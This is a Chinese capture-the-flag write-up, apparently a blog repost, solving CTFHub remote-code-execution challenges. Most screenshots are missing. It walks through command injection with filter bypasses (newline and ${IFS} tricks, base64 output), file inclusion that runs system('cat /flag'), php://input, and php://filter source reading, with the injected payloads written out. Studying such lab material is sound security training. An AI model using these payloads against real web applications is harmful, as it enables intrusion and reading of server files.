CTFHub远程执行RCE

eval执行

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

命令注入

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

127.0.0.1;cat 121931294031970.php
在这里插入图片描述

127.0.0.1;cat 121931294031970.php|base64

在这里插入图片描述

获得flag

在这里插入图片描述

过滤cat

其他查看文件的命令
在这里插入图片描述

在这里插入图片描述

127.0.0.1;ls
在这里插入图片描述

127.0.0.1;less flag_198392751413959.php|base64
127.0.0.1;more flag_198392751413959.php|base64
在这里插入图片描述

在这里插入图片描述

过滤空格

在这里插入图片描述

在这里插入图片描述

127.0.0.1;cat<flag_271184568259.php|base64
在这里插入图片描述

在这里插入图片描述

过滤目录分隔符

在这里插入图片描述

127.0.0.1;ls
在这里插入图片描述

127.0.0.1;ls flag_is_here
在这里插入图片描述

127.0.0.1;cd flag_is_here;cat flag_267421362024533.php|base64
在这里插入图片描述

base64解密
获得flag
在这里插入图片描述

过滤运算符

在这里插入图片描述
获得文件名,做快了没截图
127.0.0.0.1;cat flag_18244445012948.php|base64
在这里插入图片描述

127.0.0.0.1;cat flag_18244445012948.php
获得flag
在这里插入图片描述

综合过滤练习

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

?ip=127.0.0.1%0Acd$ {IFS}f***_is_here% 0Acd${IFS}f***_is_here%0als
在这里插入图片描述

ip=127.0.0.1%0Acd$ {IFS}f**g_is_here%0Als
在这里插入图片描述

ip=127.0.0.1%0Acd$ {IFS}f** g_is_here%0Amore$ {IFS} f* *g_17209124488085.php
在这里插入图片描述

文件包含

在这里插入图片描述在这里插入图片描述

在这里插入图片描述说明参数为ctfhub
一直试就是传不上参
最后发现,它必须通过file
在这里插入图片描述/?file=shell.txt&ctfhub=system(‘find / -name flag*’);

在这里插入图片描述
/?file=shell.txt&ctfhub=system(‘cat /flag’);
在这里插入图片描述

php://input

在这里插入图片描述在这里插入图片描述

在这里插入图片描述在这里插入图片描述在这里插入图片描述

远程包含

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

读取源代码

php://协议

php://协议的使用条件:

  1. 不需要开启allow_url_fopen

  2. php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

php://filter 用于读取源码且在双off的情况下也可以正常使用

allow_url_fopen :off/on (使用条件)

allow_url_include:off/on

Eg: http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=index.php

php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

allow_url_fopen :off/on

allow_url_include:on

Eg:http://127.0.0.1/cmd.php?file=php://input [POST DATA]

在这里插入图片描述?file=php://filter/read=convert.base64-encode/resource=/flag
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/m0_57379855/article/details/123543518